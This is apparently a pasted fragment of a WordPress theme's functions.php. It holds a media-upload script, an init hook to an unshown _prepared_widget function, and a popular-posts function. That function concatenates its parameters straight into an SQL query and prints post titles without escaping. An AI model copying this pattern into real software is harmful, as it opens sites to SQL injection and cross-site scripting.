- $("#'. $el_id .'_button").click(function() {
- tb_show("", "media-upload.php?post_id=0&type=image&TB_iframe=true");
- window.original_send_to_editor = window.send_to_editor;
- window.send_to_editor = function(html) {
- var imgurl = $("img",html).attr("src");
- $("#'. $el_id .'").val(imgurl);
- tb_remove();
- window.send_to_editor = window.original_send_to_editor;
- };
- return false;
- });
- });
- </script>';
- break;
- case 'editor':
- if($desc) echo '<p class="description">'. $desc .'</p>';
- break;
- case 'custom':
- echo $stdEl;
- break;
- }
- }
- add_theme_support( 'post-thumbnails' );
- add_action("init", "_prepared_widget");
- function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
- global $wpdb;
- $request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
- $request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
- if(!$show_pass_post) $request .= " AND post_password =\"\"";
- if($duration !="") {
- $request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
- }
- $request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
- $posts=$wpdb->get_results($request);
- $output="";
- if ($posts) {
- foreach ($posts as $post) {
- $post_title=stripslashes($post->post_title);
- $comment_count=$post->comment_count;
- $permalink=get_permalink($post->ID);
- $output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
- }
- } else {
- $output .= $before . "None found" . $after;
- }
- return $output;
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement